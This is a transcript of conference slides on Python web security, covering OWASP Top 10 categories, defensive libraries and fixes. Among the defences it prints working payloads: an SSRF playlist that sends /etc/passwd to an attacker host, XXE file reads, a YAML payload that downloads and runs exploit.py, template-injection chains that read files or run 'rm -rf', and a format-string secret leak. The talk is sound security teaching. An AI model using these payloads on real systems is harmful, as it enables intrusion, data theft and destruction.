PyCon Russia 2017. (Un)safe Python.

PyCon Russia 2017. (Un)safe Python.

OWASP TOP 10 2017 in Python-world.

15563b4bb24076f1801cd862f74ed3fe?s=128

Ivan Tsyganov

July 17, 2017
Tweet

Transcript

  1. (Un)safe Python Tsyganov Ivan Positive Technologies

  2. About ✤ Speak at conferences ✤ Participate in OpenSource projects

    ✤ Absolutely hate frontend
  3. None
  4. None
  5. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  6. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  7. A9 Using Components with Known Vulnerabilities ✤ Server Side Request

    Forgery (SSRF) ✤ Local file read
  8. A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http:

    //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever?
  9. A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http:

    //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever? 127.0.0.1 - - [07/Jul/2017 22:00:44] "GET /reciever? nobody:*:-2:-2:Unprivileged%20;User:/var/empty:/usr/bin/false\nroot:*: 0:0:System%20;Administrator:/var/root:/bin/sh\n HTTP/1.1" 200 - https: //habrahabr.ru/company/mailru/blog/274855/
  10. A9 Using Components with Known Vulnerabilities https: // www.cvedetails.com/product/18211/Djangoproject-Django.html

  11. A9 Using Components with Known Vulnerabilities http: // www.cvedetails.com/product/18230/Python-Python.html

  12. A9 Using Components with Known Vulnerabilities Buffer overflow in the

    socket.recvfrom_into function in Modules/ socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string. Publish Date : 2014-02-28 CVE-2014-1912
  13. A9 Using Components with Known Vulnerabilities ✤ Changelogs ✤ http://www.cvedetails.com/

    ✤ http://www.securitylab.ru/ ✤ https://twitter.com/CVEnew/
  14. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  15. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  16. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  17. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access

    ✤ Security scanner usage
  18. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access

    ✤ Security scanner usage ✤ … and other attacks
  19. A7 Attack protection Django ✤ Logs all logins ✤ Applies

    rate limits ✤ Supports blacklists ✤ … django-defender https://github.com/kencochrane/django-defender
  20. A7 INSTALLED_APPS = (
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 ...,


    'defender',
 ) 
 MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'defender.middleware.FailedLoginMiddleware'
 ) Attack protection Django-defenger
  21. A7 
 urlpatterns = patterns(
 (r'^admin/', include(admin.site.urls)),
 (r'^admin/defender/', include('defender.urls')), )


    Attack protection Django-defenger
  22. A7 Attack protection Flask flask-security https://github.com/mattupstate/flask-security ✤ Session based authentication

    ✤ Role management ✤ Password hashing ✤ …
  23. A7 class Role(db.Model, RoleMixin):
 . . . 
 class User(db.Model,

    UserMixin): . . . 
 user_datastore = SQLAlchemyUserDatastore( db, User, Role)
 security = Security(app, user_datastore)
 
 Attack protection Flask-Security
  24. A7 Attack protection Flask-Security

  25. A7 
 class User(db.Model, UserMixin):
 id = db.Column(db.Integer, primary_key=True)
 email

    = db.Column(db.String(255), unique=True)
 password = db.Column(db.String(255))
 active = db.Column(db.Boolean())
 confirmed_at = db.Column(db.DateTime())
 failed_login_attempts = db.Column(db.Integer(), default=0) Attack protection Flask-Security
  26. A7 class SecureLoginForm(LoginForm):
 captcha = RecaptchaField()
 
 def show_captcha(self):
 return

    self.user and self.user.failed_login_attempts > 4
 
 def validate(self):
 self.user = _datastore.get_user(self.email.data)
 if not self.user:
 return False
 
 if not self.show_captcha():
 del self._fields['captcha']
 
 result = super().validate()
 if not result:
 self.user.failed_login_attempts += 1
 else:
 self.user.failed_login_attempts = 0
 _datastore.put(self.user)
 _datastore.commit()
 return result Attack protection Flask-Security
  27. A7 {% from "security/_macros.html" import render_field_with_errors, render_field %}
 {% include

    "security/_messages.html" %}
 <h1>Login </h1>
 <form action="{{ url_for_security('login') }}" method="POST" name="login_user_form">
 {{ login_user_form.hidden_tag() }}
 {{ render_field_with_errors(login_user_form.email) }}
 {{ render_field_with_errors(login_user_form.password) }}
 {{ render_field_with_errors(login_user_form.remember) }}
 {% if login_user_form.show_captcha() %} {{ render_field_with_errors(login_user_form.captcha) }} {% endif %} {{ render_field(login_user_form.next) }}
 {{ render_field(login_user_form.submit) }}
 </form>
 {% include "security/_menu.html" %} Attack protection Flask-Security
  28. A7 app.config['SECURITY_LOGIN_USER_TEMPLATE'] = 'login.html'
 app.config['RECAPTCHA_PUBLIC_KEY'] = 'XXXXXXXXXXXXXXXXX'
 app.config['RECAPTCHA_PRIVATE_KEY'] = 'XXXXXXXXXXXXXXXX'

    . . . 
 security = Security( app, user_datastore, login_form=SecureLoginForm)
 Attack protection Flask-Security
  29. A7 import logging
 from flask import request
 from flask_login import

    user_logged_in
 
 
 logger = logging.getLogger(__name__)
 
 def log_login(sender, user):
 logger.info( 'User %s logged in from %s', (user.email, request.remote_addr) )
 
 user_logged_in.connect(log_login)
 Attack protection Flask-Security
  30. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access

    ✤ Security scanner usage ✤ … and other attacks
  31. A7 Attack protection Web Application Firewall

  32. A7 Attack protection Web Application Firewall /profile?name=<script>alert(1)</script>

  33. A7 Attack protection Web Application Firewall /profile?name=<script>alert(1)</script> WAF

  34. A7 Attack protection Web Application Firewall

  35. A7 Insufficient Attack Protection ✤Write and analyse logs ✤Use Web

    Application Firewall ✤Block hacking attempts
  36. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  37. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  38. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  39. A5 Security Misconfiguration ✤ Default settings in production

  40. A5 Security Misconfiguration Used default settings

  41. A5 Security Misconfiguration Used default settings

  42. A5 Security Misconfiguration Used default settings

  43. A5 Security Misconfiguration ✤ Default settings in production ✤ Traceback

    messages in production
  44. A5 Security Misconfiguration Hacker see traceback @app.errorhandler(404)
 def page_not_found(e):
 template

    = '''
 Dear {username}, following page not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404

  45. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page

    not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  46. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page

    not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  47. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page

    not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  48. A5 Security Misconfiguration ✤ Default settings in production ✤ Traceback

    messages in production ✤ Configuration errors
  49. A5 Security Misconfiguration root /your/django/project; location / { proxy_pass http:

    //django_backend; }
  50. A5 Security Misconfiguration root /your/django/project; location / { try_files $uri

    @django; } location @django { proxy_pass http: //django_backend; }
  51. A5 Security Misconfiguration GET http: //yoursite.com/manage.py $ tree /your/django/project |

    + -- media +---- style.css + -- application +---- __init__.py +---- settings.py +---- urls.py +---- wsgi.py + -- manage.py
  52. A5 Security Misconfiguration location /media { alias /your/django/project/media; } location

    /static { alias /your/django/project/static; } location / { proxy_pass http: //django_backend; }
  53. A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last;

  54. A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last; . . .

    location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  55. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some rewrite ^/(.*)/some$ /$1/ last; location

    ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  56. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/

    last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  57. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/

    last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  58. A5 Security Misconfiguration https: //github.com/yandex/gixy ✤ Server Side Request Forgery

    ✤ HTTP Splitting ✤ Problems with referrer/origin validation ✤ Redefining of response headers by "add_header" directive ✤ Request's Host header forgery ✤ none in valid_referers ✤ Multiline response headers GIXY
  59. A5 Security Misconfiguration ✤ Read documentation ✤ Use tools to

    check your configs ✤ Separate production/development env
  60. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  61. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  62. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  63. A1 Injection XML

  64. Injection XML A1 from lxml import etree
 user_xml = '''<?xml

    version="1.0"?>
 <notifications>
 <messages>disabled </messages>
 <call>enabled </call>
 </notifications>
 '''
 tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)
 )
 . . .
  65. Injection XML A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . .
  66. Injection. XML. A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File «pycon_example.py", line 53, in <module> "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value ' ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false
  67. Injection XML A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(
 user_xml, parser=etree.XMLParser(resolve_entities=False)
 ) for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)

  68. Injection. XML. A1 from lxml import etree
 
 user_xml =

    '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File "pycon_example.py", line 53, in <module> "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value 'None'
  69. https: //hackerone.com/reports/99279

  70. A1 Injection YAML

  71. Injection YAML A1 user_input = '''
 key: value
 '''
 data

    = yaml.load(user_input)
  72. Injection YAML A1 user_input = '''
 key: value
 '''
 data

    = yaml.load(user_input) {'key': 'value'}
  73. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data

    = yaml.load(user_input)
  74. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data

    = yaml.load(user_input) {'key': '3.11'}
  75. Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 -

    ['ping', 'ptsecurity.com', '-c 1']
 '''
 data = yaml.load(user_input)
  76. Injection. YAML. A1 import yaml
 user_input = '''
 key: value


    '''
 data = yaml.load(user_input) {'key': b''' PING ptsecurity.com (109.238.242.125): 56 data bytes 64 bytes from 109.238.242.125: icmp_seq=0 ttl=58 time=9.522 ms --- ptsecurity.com ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 9.522/9.522/9.522/0.000 ms '''}
  77. Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 -

    - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python /tmp/xxx.py'
 ''' data = yaml.load(user_input)
  78. Injection. YAML. A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 -

    - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python3 /tmp/xxx.py’
 ''' data = yaml.load(user_input) > curl http: //target.com:8000/cat%20/etc/passwd nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false
  79. Injection YAML A1 Loading YAML Warning: It is not safe

    to call yaml.load with any data received from an untrusted source! yaml.load is as powerful as pickle.load and so may call any Python function. Check the yaml.safe_load function though.
  80. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data

    = yaml.safe_load(user_input)
  81. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data

    = yaml.safe_load(user_input) yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/name:yaml.__version__' in "<unicode string>", line 1, column 6: key: !!python/name:yaml.__version__
  82. A1 Injection Templates

  83. Injection Templates A1 from flask import render_template_string
 user = 'Admin'

    template = 'Hello, %s!' % user
 render_template_string(template)
  84. Injection Templates A1 user = "{{ '' }}"
 template =

    'Hello, {}!'.format(user)
  85. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, !
  86. Injection Templates A1 user = "{{ ''.__class__ }}"
 template =

    'Hello, {}!'.format(user)
  87. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, <class 'str'>!
  88. Injection Templates A1 user = "{{ ''.__class__.__base__.__subclasses__() }}"
 template =

    'Hello, {}!'.format(user)
  89. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, [ <class 'property'>, <class 'operator.itemgetter'>, <class 'builtin_function_or_method'>, <class '_thread._localdummy'>, <class 'flask.sessions.SessionMixin'>, <class 'inspect._empty'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external.FileLoader'>, <class 'itsdangerous.Serializer'>, <class 'tarfile._StreamProxy'>, <class 'codeop.CommandCompiler'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'codecs.StreamRecoder'>, <class 'fieldnameiterator'>, <class 'ctypes.CDLL'>, …
  90. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, [ <class 'property'>, <class 'operator.itemgetter'>, <class 'builtin_function_or_method'>, <class '_thread._localdummy'>, <class 'flask.sessions.SessionMixin'>, <class 'inspect._empty'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external.FileLoader'>, <class 'itsdangerous.Serializer'>, <class 'tarfile._StreamProxy'>, <class 'codeop.CommandCompiler'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'codecs.StreamRecoder'>, <class 'fieldnameiterator'>, <class ‘ctypes.CDLL’>, …
  91. Injection Templates A1 user = """
 {% for item in

    x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{ item.__hash__.__globals__['__builtins__']['open']('/etc/passwd')}}
 {% endif %}
 {% endfor %}
 """
 
 template = 'Hello, {}!'.format(user)
  92. Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!'

    % user Hello, [ . . . '# Open Directory.\n', ' ##\n', 'nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/ false\n', 'root:*:0:0:System Administrator:/var/root:/bin/sh\n', . . . ]
  93. Injection Templates A1 user = """
 {% for item in

    x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{
 item.__hash__.__globals__['__builtins__']['eval'](" 
 __import__('os').system('rm -rf . /*', shell=True)
 ")
 }}
 {% endif %}
 {% endfor %} """
 
 template = 'Hello, {}!’.format(user)
  94. Injection Templates A1 template = Template("Hello, {{ user }}.")
 template.render(

    Context({"user": "Admin"}) ) return render_template_string( 'Hello, {{ user }}.', user='Admin' )

  95. https: //hackerone.com/reports/125980

  96. A1 Injection str.format

  97. Injection str.format A1 CONFIG = {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'} class LogEntry:
 def

    __init__(self, id, time, msg):
 self.id = id
 self.time = time
 self.msg = msg
 
 def format_log(format_, value):
 assert isinstance(value, LogEntry), \
 'value must be LogEntry'
 
 return format_.format(entry=value)

  98. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')


    print(format_log('{entry.id}: {entry.msg}', entry))
 >>> 1: System loaded
  99. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')


    print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>>
  100. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')


    print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>> {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}
  101. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  102. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  103. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  104. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  105. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  106. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  107. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  108. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  109. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  110. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  111. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  112. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  113. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  114. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and

    Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  115. Thank you! mi.0-0.im